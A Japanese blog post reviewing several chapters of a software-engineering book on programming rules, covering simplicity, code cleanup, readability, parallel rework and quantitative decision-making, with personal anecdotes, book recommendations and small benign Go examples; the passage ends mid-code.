創造的対話のファシリテーション作者:安斎勇樹,塩瀬隆之学芸出版社Amazon4つのコードの味著者は、プログラミングの問題を「Easy」と「Hard」の2種類に大別し、さらにそれぞれの解決策を「Simple」と「Complicated」に分類しています。この枠組みは一見単純ですが、実際のプログラミング現場での課題をよく反映していると感じました。特に印象的だったのは、Easy問題に対するComplicated解決策の危険性への指摘です。私自身、過去のプロジェクトで、単純な問題に対して過度に複雑な解決策を実装してしまい、後々のメンテナンスで苦労した経験があります。例えば、単純なデータ処理タスクに対して、汎用性を追求するあまり複雑なクラス階層を設計してしまい、結果的にコードの理解と修正が困難になった事例が思い出されます。著者の主張する「Simple解決策の重要性」は、現代のソフトウェア開発においても重要です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現在、個々のコンポーネントの単純さと明確さがシステム全体の健全性に大きく影響します。複雑さのコスト著者は、不必要な複雑さがもたらす実際のコストについて詳しく論じています。複雑なコードは書くのに時間がかかり、デバッグはさらに困難になるという指摘は、私の経験とも強く共鳴します。例えば、以前参画していた大規模プロジェクトでは、初期段階で採用された過度に抽象化された設計が、プロジェクトの後半で大きな足かせとなりました。新機能の追加や既存機能の修正に予想以上の時間がかかり、結果的にプロジェクト全体のスケジュールに影響を与えてしまいました。この経験から、私は「単純さ」を設計の重要な指標の一つとして意識するようになりました。例えば、Golangを使用する際は、言語自体が持つ単純さと明確さを活かし、以下のような原則を心がけています。// 複雑な例type DataProcessor struct { data []int // 多数のフィールドと複雑なロジック}func (dp *DataProcessor) Process() int { // 複雑で理解しづらい処理}// シンプルな例func ProcessData(data []int) int { sum := 0 for _, v := range data { sum += v } return sum}シンプルな関数は理解しやすく、テストも容易です。これは、著者が主張する「Simple解決策」の具体例と言えるでしょう。プログラマーの3つのタイプ著者は、問題の難易度と解決策の複雑さの組み合わせに基づいて、プログラマーを3つのタイプに分類しています(Mediocre,Good,Great)。この分類は興味深く、自身のスキルレベルを客観的に評価する良い指標になると感じました。特に、「Great」プログラマーがHard問題に対してもSimple解決策を見出せるという指摘は、プロフェッショナルとしての目標設定に大きな示唆を与えてくれます。これは、単に技術的なスキルだけでなく、問題の本質を見抜く洞察力や、複雑な要求をシンプルな形に落とし込む能力の重要性を示唆しています。実際の開発現場では、この「Great」プログラマーの特性が如実に現れる場面があります。例えば、システムの設計段階で、複雑な要件を整理し、シンプルかつ拡張性のある設計を提案できる能力は価値があります。私自身、この「Great」プログラマーを目指して日々精進していますが、Hard問題に対するSimple解決策の発見は常に挑戦的です。例えば、分散システムにおけるデータ一貫性の問題など、本質的に複雑な課題に対して、いかにシンプルで堅牢な解決策を見出すかは、常に頭を悩ませる問題です。Hard問題のSimple解決策著者は、Hard問題に対するSimple解決策の例として、文字列の順列検索問題を取り上げています。この例は、問題の捉え方を変えることで、複雑な問題に対してもシンプルな解決策を見出せることを示しており、示唆に富んでいます。著者が示した最終的な解決策は、問題の本質を捉え、不要な複雑さを排除した素晴らしい例だと感じました。このアプローチは、実際の開発現場でも有用です。まとめこの章から得られる最も重要な教訓は、コードの単純さと明確さが、プログラマーの技量を示すということです。Easy問題に対するSimple解決策を見出せることは良いプログラマーの証ですが、Hard問題に対してもSimple解決策を提案できることが、真に優れたプログラマーの特徴だという著者の主張には強く共感します。この原則は、日々の開発作業からアーキテクチャ設計まで、あらゆる場面で意識すべきものだと感じています。特に、チーム開発においては、個々のメンバーがこの原則を理解し実践することで、プロジェクト全体の品質と効率が大きく向上すると確信しています。今後の自身の開発アプローチとしては、以下の点を特に意識していきたいと思います。問題の本質を見極め、不要な複雑さを排除する努力を常に行う。Easy問題に対しては、過度に複雑な解決策を提案しないよう注意する。Hard問題に直面した際も、まずはSimple解決策の可能性を探る。コードレビューの際は、解決策の複雑さと問題の難易度のバランスを重視する。最後に、この章の教訓は単にコーディングスキルの向上だけでなく、問題解決能力全般の向上にもつながると感じました。ソフトウェア開発の世界では新しい技術や手法が次々と登場しますが、「シンプルさ」という原則は普遍的な価値を持ち続けるでしょう。この原則を常に意識し、実践していくことが、ソフトウェアエンジニアとしての成長につながると確信しています。Rule 15. Pull the Weeds第15章「Pull the Weeds」は、コードベースの健全性維持に関する重要な原則を提示しています。著者は、小さな問題や不整合を「雑草」に例え、それらを放置せずに定期的に除去することの重要性を強調しています。この章を通じて、コードの品質維持がソフトウェア開発プロセス全体にどのように影響するか、そして日々の開発作業の中でどのようにこの原則を実践すべきかが明確に示されています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon雑草とは何か著者は、Animal Crossingというゲームの雑草除去の例を用いて、コードの「雑草」の概念を説明しています。この比喩は的確で、私自身、長年のソフトウェア開発経験を通じて、まさにこのような「雑草」の蓄積がプロジェクトの進行を妨げる様子を何度も目の当たりにしてきました。著者が定義する「雑草」は、修正が容易で、放置しても大きな問題にはならないが、蓄積すると全体の品質を低下させる小さな問題です。具体的には、コメントの誤字脱字、命名規則の不一致、フォーマットの乱れなどが挙げられています。この定義は重要で、多くの開発者が見落としがちな点だと感じます。例えば、以前私が参画していた大規模プロジェクトでは、コーディング規約の軽微な違反を「些細な問題」として放置していました。結果として、コードの一貫性が失われ、新規メンバーの学習コストが増大し、最終的にはプロジェクト全体の生産性低下につながりました。雑草の除去著者は、雑草の除去プロセスを段階的に示しています。最初に、明らかな誤りや不整合を修正し、次に命名規則やフォーマットの統一を行います。この段階的アプローチは実践的で、日々の開発作業に組み込みやすいと感じました。例えば、著者が示したC++のコード例では、関数名の変更(エクスポートするための大文字化)、変数名の明確化、コメントの追加と修正、フォーマットの統一などが行われています。これらの変更は、コードの機能自体には影響を与えませんが、可読性と保守性を大きく向上させます。雑草の特定著者は、ある問題が「雑草」であるかどうかを判断する基準として、修正の安全性を挙げています。コメントの修正や命名規則の統一など、機能に影響を与えない変更は安全に行えるため、「雑草」として扱うべきだと主張しています。この考え方は、現代のソフトウェア開発プラクティス、特に継続的インテグレーション(CI)と継続的デリバリー(CD)の文脈で重要です。例えば、私のチームでは、linterやフォーマッターをCIパイプラインに組み込むことで、多くの「雑草」を自動的に検出し、修正しています。これにより、人間の判断が必要な、より重要な問題に集中できるようになりました。コードが雑草だらけになる理由著者は、多くのプロジェクトで「雑草」が放置される理由について深く掘り下げています。時間の制約、優先順位の問題、チーム内での認識の違いなど、様々な要因が挙げられています。この分析は的確で、私自身も同様の経験があります。特に印象に残っているのは、あるプロジェクトでチーム全体が「完璧主義に陥らないこと」を重視するあまり、小さな問題を軽視する文化が生まれてしまったことです。結果として、コードの品質が徐々に低下し、最終的には大規模なリファクタリングが必要になりました。まとめ著者は、「雑草を抜く」ことの重要性を強調して章を締めくくっています。小さな問題を放置せず、定期的に対処することが、長期的にはプロジェクトの健全性を維持する上で重要だと主張しています。この主張には強く共感します。私の経験上、コードの品質維持は継続的な取り組みが必要で、一度に大規模な修正を行うよりも、日々の小さな改善の積み重ねの方が効果的です。例えば、私のチームでは「雑草抜きの金曜日」という取り組みを始めました。毎週金曜日の午後2時間を、コードベースの小さな改善に充てるのです。この取り組みにより、コードの品質が向上しただけでなく、チームメンバー全員がコードベース全体に対する理解を深めることができました。最後に、著者の「最も経験豊富なチームメンバーが雑草抜きの先頭に立つべき」という提案は、重要なポイントだと感じます。ベテラン開発者が率先して小さな問題に対処することで、その重要性をチーム全体に示すことができます。また、そのプロセスを通じて、若手開発者に暗黙知を伝えることもできるのです。この章から学んだ最も重要な教訓は、コードの品質維持は日々の小さな努力の積み重ねであるということです。「雑草を抜く」という単純な行為が、長期的にはプロジェクトの成功につながるのです。この原則を常に意識し、実践することで、より健全で生産性の高い開発環境を維持できると確信しています。Rule 16. Work Backward from Your Result, Not Forward from Your Code第16章「Work Backward from Your Result, Not Forward from Your Code」は、ソフトウェア開発における問題解決アプローチの根本的な転換を提案しています。著者は、既存のコードや技術から出発するのではなく、望む結果から逆算してソリューションを構築することの重要性を説いています。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazonプログラミングは橋を架ける行為著者はプログラミングを、既存のコードと解決したい問題の間に「橋を架ける」行為に例えています。この比喩は示唆に富んでいます。日々の開発作業を振り返ると、確かに我々は常に既知の技術と未知の問題の間を行き来しているように感じます。しかし、著者が指摘するように、多くの場合我々は「コードの側」に立って問題を見ています。つまり、手持ちの技術やライブラリの視点から問題を捉えようとしがちなのです。これは、ある意味で自然な傾向かもしれません。既知の領域から未知の領域に進むのは、心理的にも安全に感じられるからです。既存のコードの視点で捉える危険性著者は、この「コードの側」から問題を見るアプローチの危険性を指摘しています。この指摘は重要で、私自身も頻繁に陥りがちな罠だと感じています。例えば、設定ファイルの解析という問題に直面したとき、多くの開発者はすぐにJSONやYAMLといった既存のフォーマットを思い浮かべるでしょう。そして、それらを解析するための既存のライブラリを探し始めます。これは一見効率的に見えますが、実際には問題の本質を見失うリスクがあります。設定ファイルの真の目的は何でしょうか?それは、アプリケーションの動作を柔軟に調整することです。しかし、既存のフォーマットやライブラリに頼りすぎると、その本質的な目的よりも、特定のフォーマットの制約に縛られてしまう可能性があります。結果から逆算するアプローチ著者が提案する「結果から逆算する」アプローチは、この問題に対する解決策です。まず、理想的な設定の使用方法を想像し、そこから逆算して実装を考えるのです。例えば、設定ファイルの問題に対して、以下のような理想的な使用方法を想像できるでしょう:設定値へのアクセスが型安全であるデフォルト値が簡単に設定できる環境変数からの上書きが容易である設定値の変更を検知できるこのような理想的な使用方法を定義してから実装を始めることで、より使いやすく、保守性の高い設定システムを設計できる可能性が高まります。型安全性と抽象化著者は、型安全性と適切な抽象化の重要性も強調しています。これは特にGolangのような静的型付け言語で重要です。例えば、設定値に対して単純な文字列や数値の型を使うのではなく、それぞれの設定値の意味や制約を表現する独自の型を定義することが考えられます。これにより、コンパイル時のエラーチェックが可能になり、実行時のエラーを減らすことができます。まとめ著者は、既存の技術から前進するアプローチと、望む結果から後退するアプローチの両方を探求しています。どちらか一方だけが正しいわけではなく、状況に応じて適切なアプローチを選択することが重要です。この章から学んだ最も重要な教訓は、問題解決の際には、まず望む結果を明確にし、そこから逆算してソリューションを構築するということです。これは、単にコーディングスキルの向上だけでなく、システム設計全体の質を向上させる可能性を秘めています。今後の開発では、新しい機能やシステムの設計時に、まず「理想的な使用方法」を考え、そこから実装を逆算していく習慣を身につけていきたいと思います。特に、インターフェースを活用した目的志向の抽象化を行うことで、より柔軟で拡張性の高いコードを書けるはずです。この原則を意識することで、単に既存の技術を組み合わせるだけでなく、本当に問題を解決するソリューションを生み出せる可能性が高まります。それは、より優れたソフトウェア、そしてより満足度の高いユーザー体験につながるはずです。Rule 17. Sometimes the Bigger Problem Is Easier to Solve第17章「Sometimes the Bigger Problem Is Easier to Solve」は、問題解決のアプローチに新たな視点を提供しています。この章では、一見複雑に見える問題に対して、より大きな視点から取り組むことで、意外にもシンプルな解決策を見出せる可能性があることを説いています。解像度を上げる――曖昧な思考を明晰にする「深さ・広さ・構造・時間」の4視点と行動法作者:馬田隆明英治出版Amazon問題の規模と複雑さの関係著者は、プログラマーがしばしば直面する困難な状況として、特定の問題に対する解決策を見出そうとするものの、その問題自体が複雑すぎて手に負えないように感じられるケースを挙げています。これは、多くの開発者が経験したことのある状況だと思います。私自身も、マイクロサービスアーキテクチャの設計や分散システムのデータ同期など、一見すると複雑な問題に直面し、途方に暮れた経験があります。しかし、著者が提案するアプローチは、このような状況で有効です。問題の規模を拡大し、より一般的な視点から捉え直すことで、意外にもシンプルな解決策が見つかることがあるというのです。これは、森を見るために木から離れる必要があるという格言を思い起こさせます。この原則は、日々の開発業務においても有用です。例えば、あるマイクロサービスの特定のエンドポイントのパフォーマンス最適化に苦心している場合、その個別の問題に固執するのではなく、サービス全体のアーキテクチャを見直すことで、より効果的な解決策が見つかることがあります。抽象化と一般化の重要性著者の主張する「より大きな問題を解決する」アプローチは、多くのプログラミング言語や開発手法の設計哲学とも相性が良いと感じます。インターフェースを通じた抽象化や、ジェネリクスを用いた一般化などの機能は、まさにこの原則を実践するのに適しています。例えば、複数のデータソースから情報を取得し、それを集約して処理するという問題を考えてみましょう。最初のアプローチでは、各データソースに対して個別の処理を書き、それぞれの結果を手動で集約しようとするかもしれません。しかし、問題をより大きな視点から捉え直すと、これらのデータソースを抽象化し、共通のインターフェースを通じてアクセスするという解決策が浮かび上がります。このアプローチでは、個々のデータソースの詳細を抽象化し、より一般的な問題(複数のデータソースからのデータ取得と集約)に焦点を当てています。結果として、コードはより簡潔になり、新しいデータソースの追加も容易になります。実務での適用私の経験では、あるプロジェクトで複数のマイクロサービス間のデータ整合性の問題に直面したことがあります。当初は各サービス間の個別の同期メカニズムの実装に注力していましたが、問題を大きく捉え直すことで、イベントソーシングパターンを採用するという解決策にたどり着きました。これにより、個別の同期ロジックの複雑さを大幅に軽減し、システム全体の一貫性と拡張性を向上させることができました。このアプローチは、単にコードレベルの問題だけでなく、システム設計全体にも適用できます。例えば、複雑なビジネスロジックを持つアプリケーションの開発において、個々の機能ごとに独立したモジュールを作成するのではなく、最小限のクリーンアーキテクチャを採用することで、より一貫性のあるシステム設計が可能になることがあります。これにより、ビジネスロジックとインフラストラクチャの関心事を分離しつつ、過度に複雑化することなくシステムの構造を整理できます。批判的考察著者の提案するアプローチは魅力的ですが、いくつかの注意点も考慮する必要があります。まず、問題を大きく捉え過ぎると、実装が過度に一般化され、具体的なユースケースに対する最適化が困難になる可能性があります。また、チームのスキルセットや既存のコードベースとの整合性など、実務的な制約も考慮する必要があります。例えば、データソースの抽象化の例で、過度に抽象化されたインターフェースを導入することで、個々のデータソースの特性を活かした最適化が難しくなる可能性があります。このような場合、抽象化のレベルをどこに設定するかは慎重に検討する必要があります。また、大きな問題を解決するアプローチを採用する際は、チーム全体の理解と合意が必要です。個々の開発者が局所的な最適化に注力している状況で、突然大規模な設計変更を提案すると、チームの混乱を招く可能性があります。そのため、このアプローチを採用する際は、十分なコミュニケーションとチーム全体の理解が不可欠です。まとめ「Sometimes the Bigger Problem Is Easier to Solve」という原則は、ソフトウェア開発において有用な視点を提供しています。複雑な問題に直面したとき、その問題自体に固執するのではなく、一歩引いて大局的な視点から捉え直すことで、より簡潔で汎用的な解決策を見出せる可能性があります。この原則を適用することで、個別の問題に対する局所的な解決策ではなく、システム全体の設計と一貫性を改善するチャンスが得られます。これは、長期的にはコードの保守性や拡張性の向上につながり、プロジェクト全体の健全性に貢献します。しかし、この原則を適用する際は、具体的なユースケースとのバランスを常に意識する必要があります。過度の一般化は避け、プロジェクトの要件や制約を十分に考慮した上で、適切な抽象化のレベルを選択することが重要です。最後に、この原則は単にコーディングの技術だけでなく、問題解決のアプローチ全般に適用できる重要な考え方です。ソフトウェア開発者として、常に大局的な視点を持ち、問題の本質を見極める努力を続けることが、より効果的で持続可能なソリューションの創出につながるのです。この章から学んだ最も重要な教訓は、複雑な問題に直面したときこそ、一歩引いて大きな視点から問題を捉え直す勇気を持つことです。それによって、思いもよらなかったシンプルで効果的な解決策が見つかることがあります。この姿勢は、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。Rule 18. Let Your Code Tell Its Own Story第18章「Let Your Code Tell Its Own Story」は、コードの可読性と自己説明性に焦点を当てています。この章を通じて、著者は良いコードが自らの物語を語るべきだという重要な原則を提示しています。コードの可読性が高まると、開発効率が向上し、バグの発見も容易になります。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazonコードの可読性の重要性著者は、コードの可読性を向上させることの重要性を強調しています。これは、私たちがコードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。特に、チーム開発やオープンソースプロジェクトでは、他の開発者がコードを理解しやすいかどうかが、プロジェクトの成功を左右する重要な要因となります。私自身、過去のプロジェクトで、可読性の低いコードに悩まされた経験があります。例えば、ある大規模なマイクロサービスプロジェクトでは、各サービスの責任範囲が明確でなく、コードの意図を理解するのに多大な時間を要しました。この経験から、コードの自己説明性の重要性を痛感しました。コメントの役割と落とし穴著者は、コメントの重要性を認めつつも、その使用には注意が必要だと指摘しています。特に、誤ったコメントや古くなったコメントが、コードの理解を妨げる可能性があることを強調しています。この点は、日々の開発でよく遭遇する問題です。例えば、以前参画していたプロジェクトでは、コメントとコードの内容が一致しておらず、デバッグに多大な時間を要したことがありました。この経験から、コメントは最小限に抑え、コード自体が意図を明確に表現するよう心がけるべきだと学びました。Golangの文脈では、言語自体が読みやすさを重視しているため、過度なコメントは逆効果になる可能性があります。例えば、以下のようなコードは、コメントなしでも十分に意図が伝わります:func isEven(num int) bool { return num%2 == 0}このような単純な関数に対してコメントを追加するのは、かえって可読性を下げる可能性があります。命名の重要性著者は、適切な命名の重要性を強調しています。これは、コードの自己説明性を高める上で最も重要な要素の一つです。私の経験上、適切な命名は、コードレビューの効率を大幅に向上させます。例えば、あるプロジェクトでは、変数名や関数名の命名規則を厳格に定め、チーム全体で遵守しました。その結果、コードの理解とレビューにかかる時間が大幅に削減されました。Golangでは、命名規則が言語仕様の一部として定義されています。例えば、パッケージ外からアクセス可能な識別子は大文字で始める必要があります。これにより、コードの意図がより明確になります:type User struct { ID int // パッケージ外からアクセス可能 name string // パッケージ内でのみアクセス可能}コードの構造化と整形著者は、コードの構造化と整形の重要性についても言及しています。適切に構造化されたコードは、読み手にとって理解しやすくなります。この点について、Golangはgofmtというツールを提供しており、コードの自動整形を行うことができます。これにより、チーム全体で一貫したコードスタイルを維持することが容易になります。まとめ「Let Your Code Tell Its Own Story」という原則は、現代のソフトウェア開発において重要です。特に、チーム開発やオープンソースプロジェクトでは、コードの可読性と自己説明性が、プロジェクトの成功を左右する重要な要因となります。Golangの文脈では、言語自体が読みやすさと簡潔さを重視しているため、この原則を適用しやすい環境が整っていると言えます。しかし、それでも開発者の意識的な努力が必要です。最後に、この原則は単にコーディングスキルの向上だけでなく、チームのコミュニケーションの改善にもつながります。コードが自らの物語を語ることができれば、チームメンバー間の理解が深まり、結果としてプロジェクト全体の生産性が向上するでしょう。この章から学んだ最も重要な教訓は、コードは他の開発者(そして未来の自分)に向けて書くべきだということです。これは、日々の開発の中で常に意識し、実践していく必要があります。Rule 19. Rework in Parallel第19章「Rework in Parallel」は、大規模なコードベースの改修に関する重要な戦略を提示しています。著者は、並行して新旧のシステムを動作させることで、リスクを最小限に抑えつつ段階的に改修を進める方法を詳細に解説しています。この章を通じて、著者は大規模なリファクタリングや機能追加におけるベストプラクティスを示し、ソフトウェア開発の現場で直面する現実的な課題に対する洞察を提供しています。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazon並行リワークの必要性著者は、大規模なコードベースの改修が必要となる状況から話を始めています。例えば、チームでの開発や、長期にわたるプロジェクトでは、単純な「チェックアウト→修正→コミット」のモデルでは対応しきれない場合があります。特に、他の開発者との協業が必要な場合や、改修作業が長期化する場合には、従来のブランチモデルでは様々な問題が発生する可能性があります。私自身、過去に大規模なマイクロサービスのリアーキテクチャプロジェクトに携わった際、長期間のブランチ作業による問題を経験しました。メインブランチとの統合が困難になり、結果として予定以上の時間とリソースを要してしまいました。著者の指摘する問題点は、現実のプロジェクトでも頻繁に発生する課題だと強く共感します。並行システムの構築著者が提案する解決策は、新旧のシステムを並行して動作させる「duplicate-and-switch」モデルです。この方法では、既存のシステムを変更する代わりに、並行システムを構築します。新システムは開発中でもメインブランチにコミットされますが、ランタイムスイッチによって制御され、最初は小規模なチームでのみ使用されます。このアプローチは、Kent Beckの「For each desired change, make the change easy (warning: this may be hard), then make the easy change」という格言を大規模プロジェクトに適用したものと言えます。私も以前、レガシーシステムの段階的な置き換えプロジェクトで類似のアプローチを採用しましたが、確かにリスクを抑えつつ改修を進められた経験があります。具体例:スタックベースのメモリアロケータ著者は、具体例としてスタックベースのメモリアロケータの改修を挙げています。この例は、低レベルのシステムコンポーネントの改修という点で興味深いものです。スタックベースのアロケーションは、高速で効率的なメモリ管理を可能にしますが、同時に複雑な課題も抱えています。著者が示した問題点、特に異なるスタックコンテキスト間での操作の困難さは、私が以前関わった分散システムのメモリ管理でも直面した課題です。この種の問題は、単純なリファクタリングでは解決が難しく、システム全体の再設計が必要になることがあります。並行リワークの実践著者は、並行リワークの実践方法を段階的に説明しています。特に印象的だったのは、以下の点です:新旧のシステムを切り替えるためのグローバルフラグの導入アダプタクラスを使用した新旧システムの橋渡し段階的な移行と継続的なテストこのアプローチは、リスクを最小限に抑えつつ大規模な変更を行うための優れた戦略だと感じました。私自身、似たようなアプローチを採用してデータベースシステムの移行を行った経験がありますが、確かに安全性と柔軟性の両立に効果的でした。並行リワークの適用タイミング著者は、並行リワークが常に最適な解決策ではないことも指摘しています。この戦略はオーバーヘッドを伴うため、適用するタイミングと状況を慎重に見極める必要があります。私見では、以下のような状況で並行リワークが特に有効だと考えます:長期的な大規模リファクタリングプロジェクトクリティカルなシステムコンポーネントの置き換え新旧システム間の段階的な移行が必要な場合一方で、小規模な変更や短期的なプロジェクトでは、従来のブランチモデルの方が適している場合もあります。まとめ「Rework in Parallel」の原則は、大規模なソフトウェア開発プロジェクトにおいて重要な戦略を提供しています。この手法を適切に適用することで、リスクを最小限に抑えつつ、大規模な改修や機能追加を実現できます。著者の提案するアプローチは、現代の開発環境、特にマイクロサービスアーキテクチャやクラウドネイティブ開発において有用です。例えば、新旧のサービスを並行して稼働させ、トラフィックを段階的に移行するような戦略は、この原則の自然な拡張と言えるでしょう。しかし、この手法を適用する際は、プロジェクトの規模や性質、チームの状況などを十分に考慮する必要があります。また、並行リワークを成功させるためには、強力な自動化テストやCI/CDパイプライン、モニタリングシステムなどの支援が不可欠です。個人的な経験を踏まえると、この手法は特に長期的な保守性と拡張性の向上に大きく貢献します。短期的には追加の労力が必要になりますが、長期的にはテクニカルデットの削減とシステムの健全性維持に大きく寄与すると確信しています。最後に、この章から学んだ最も重要な教訓は、大規模な変更を行う際は、リスクを分散させ、段階的にアプローチすることの重要性です。これは、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。今後のプロジェクトでは、この原則を念頭に置きつつ、より安全で効果的な開発戦略を立案していきたいと考えています。Rule 20. Do the Math第20章「Do the Math」は、プログラミングにおける数学的思考の重要性を強調しています。著者は、多くのプログラミングの決定が定性的なものである一方で、数学的な分析が有効な場面も多々あることを指摘しています。この章を通じて、著者は単純な計算が問題解決のアプローチの妥当性を検証する上で、いかに重要であるかを具体的な例を挙げながら説明しています。問題解決のための「アルゴリズム\xd7数学」が基礎からしっかり身につく本作者:米田 優峻技術評論社Amazon自動化の判断著者は、タスクの自動化を例に挙げ、数学的思考の重要性を説明しています。自動化するかどうかの判断は、単純な数学の問題に帰着します。コードを書くのにかかる時間と、手動でタスクを繰り返す時間を比較し、前者の方が短ければ自動化する価値があるというわけです。この考え方は一見当たり前に思えますが、実際の開発現場ではこの単純な計算が軽視されがちです。私自身、過去のプロジェクトで、チームメンバーが十分な検討もなしに自動化に走り、結果として無駄な工数を費やしてしまった経験があります。著者の指摘する「自動化の判断」は、特にデプロイメントプロセスやテスト自動化の文脈で重要です。例えば、CI/CDパイプラインの構築を検討する際、その構築コストと、手動デプロイメントにかかる時間を比較検討することが重要です。ただし、この計算には定量化しづらい要素(例:人的ミスの削減、チームの士気向上)も含まれるため、純粋な数学だけでなく、総合的な判断が必要になります。ハードリミットの重要性著者は、問題空間や解決策におけるハードリミット(固定的な制約)の重要性を強調しています。ゲーム開発を例に、メモリ容量やネットワーク帯域幅などの制約が、設計プロセスにおいて重要な役割を果たすことを説明しています。この考え方は、ゲーム開発に限らず、多くのソフトウェア開発プロジェクトに適用できます。例えば、マイクロサービスアーキテクチャを採用する際、各サービスのリソース制限(CPU、メモリ、ネットワーク帯域)を明確に定義し、それに基づいてシステム設計を行うことが重要です。著者の提案する「ハードリミットの設定」は、特にパフォーマンスクリティカルなシステムの設計において有効です。例えば、高頻度取引システムの設計では、レイテンシの上限を明確に定義し、それを満たすようなアーキテクチャを検討することが重要です。数学の変化への対応著者は、要件の変更に伴い、数学的な計算も再評価する必要があることを指摘しています。これは、アジャイル開発の文脈で特に重要です。要件が頻繁に変更される環境では、定期的に数学的な再評価を行い、アプローチの妥当性を確認することが重要です。例えば、スケーラビリティを考慮したシステム設計において、想定ユーザー数や処理データ量が変更された場合、それに応じてインフラストラクチャのキャパシティプランニングを再計算する必要があります。定量的分析から定性的判断へ著者は、純粋な数学的アプローチだけでなく、定性的な要素も考慮することの重要性を強調しています。例えば、タスクの自動化において、時間の節約だけでなく、エラーの削減やチームの満足度向上といった定性的な要素も考慮に入れる必要があります。この考え方は、技術的負債の管理にも適用できます。リファクタリングの判断において、純粋なコスト計算だけでなく、コードの可読性向上やメンテナンス性の改善といった定性的な要素も考慮に入れる必要があります。まとめ「Do the Math」の原則は、ソフトウェア開発における意思決定プロセスに数学的思考を取り入れることの重要性を強調しています。この原則は、特に大規模で複雑なシステムの設計や、リソース制約のある環境での開発において有用です。著者の提案するアプローチは、現代の開発環境、特にクラウドネイティブ開発やマイクロサービスアーキテクチャにおいて重要です。リソースの最適化、コストの最小化、パフォーマンスの最大化といった課題に直面する際、数学的な分析は不可欠です。しかし、純粋な数学だけでなく、定性的な要素も考慮に入れることの重要性も忘れてはいけません。ソフトウェア開発は単なる数字の問題ではなく、人間の創造性や協力関係が重要な役割を果たす分野です。私自身の経験を踏まえると、この原則は特にパフォーマンスチューニングやシステム設計の場面で有用です。例えば、データベースのインデックス設計やキャッシュ戦略の検討において、数学的な分析は不可欠でした。同時に、チームの習熟度や保守性といった定性的な要素も考慮に入れることで、より良い意思決定ができました。最後に、この章から学んだ最も重要な教訓は、数学的思考と定性的判断のバランスを取ることの重要性です。純粋な数学だけでなく、プロジェクトの文脈や長期的な影響も考慮に入れた総合的な判断が、成功するソフトウェア開発の鍵となります。今後のプロジェクトでは、この原則を念頭に置きつつ、より良い意思決定のための枠組みを作っていきたいと考えています。Rule 21. Sometimes You Just Need to Hammer the Nails第21章「Sometimes You Just Need to Hammer the Nails」は、プログラミングにおける地道な作業の重要性を強調しています。著者は、創造的で知的な挑戦が多いプログラミングの世界でも、時には単純で退屈な作業が必要不可欠であることを説いています。この章を通じて、著者は「面倒な作業を避けない」ことの重要性と、それがソフトウェア開発プロジェクト全体にどのような影響を与えるかを明確に示しています。地道力[新版] 目先の追求だけでは、成功も幸せも得られない!作者:國分 利治PHP研究所Amazon本書の最後にこのような泥臭い作業の重要性を説くルールを紹介しているのは、この書籍の優れた点の一つだと言えるでしょう。この章は、プログラミングの現実的な側面を忘れずに、理想と実践のバランスを取ることの大切さを読者に印象づけています。プログラマーの三大美徳との関連この章の内容は、かつてよく知られていた「プログラマーの三大美徳」と密接に関連しています。これらの美徳は「怠慢」「短気」「傲慢」であり、一見ネガティブに聞こえますが、実際には優れたプログラマーの特質を表しています。怠慢:全体の労力を減らすために手間を惜しまない気質。例えば、繰り返し作業を自動化したり、再利用可能なコンポーネントを作成したりすることで、長期的な効率を向上させます。短気:コンピューターの非効率さに対する怒り。この特質は、現在の問題だけでなく、将来起こりうる問題も予測して対応しようとする姿勢につながります。傲慢:自分のコードに対する高い誇りと責任感。これは、保守性や可読性、柔軟性の高いコードを書こうとする姿勢に現れます。これらの美徳は、「Sometimes You Just Need to Hammer the Nails」の原則と補完的な関係にあります。地道な作業を避けないことは、長期的には「怠慢」な姿勢(良い意味で)につながり、「短気」な気質は将来の問題を予見して対処することを促します。そして、「傲慢」さは、たとえ退屈な作業であっても、高品質なコードを維持しようとする態度を支えます。地道な作業の必要性著者は、プログラミングの仕事には避けられない退屈な作業があることを指摘しています。これらの作業は魅力的ではなく、多くの開発者が積極的に取り組みたがらないものです。しかし、著者はこれらの作業を避けることの危険性を強調しています。大規模なリファクタリングプロジェクトでは、コードベース全体にわたる変更が必要で、その多くが単純で退屈な作業となることがあります。チームの中には、この作業を後回しにしたがる人もいますが、結果的にそれが技術的負債となり、プロジェクトの後半で大きな問題となる可能性があります。著者の指摘する「地道な作業を避けない」という原則は、特にレガシーシステムの保守や大規模なアーキテクチャ変更において重要です。例えば、古い認証システムから新しいOAuth2.0ベースのシステムへの移行を行う際、数百のAPIエンドポイントを一つずつ更新していく必要があるかもしれません。この作業は単調で退屈ですが、避けて通ることはできません。新しい引数の追加著者は、関数に新しい引数を追加する場合の例を挙げています。この状況では、既存のコードベース全体を更新する必要がありますが、多くの開発者はこの作業を避けたがります。著者は、デフォルト引数やオーバーロードを使用して作業を回避することの危険性を指摘しています。Golangの場合、デフォルト引数やオーバーロードがサポートされていないため、関数のシグネチャを変更する際は特に注意が必要です。例えば:// 変更前func findNearbyCharacters(point Point, maxDistance float64) []Character { // 実装}// 変更後func findNearbyCharacters(point Point, maxDistance float64, excludeCharacters []Character) []Character { // 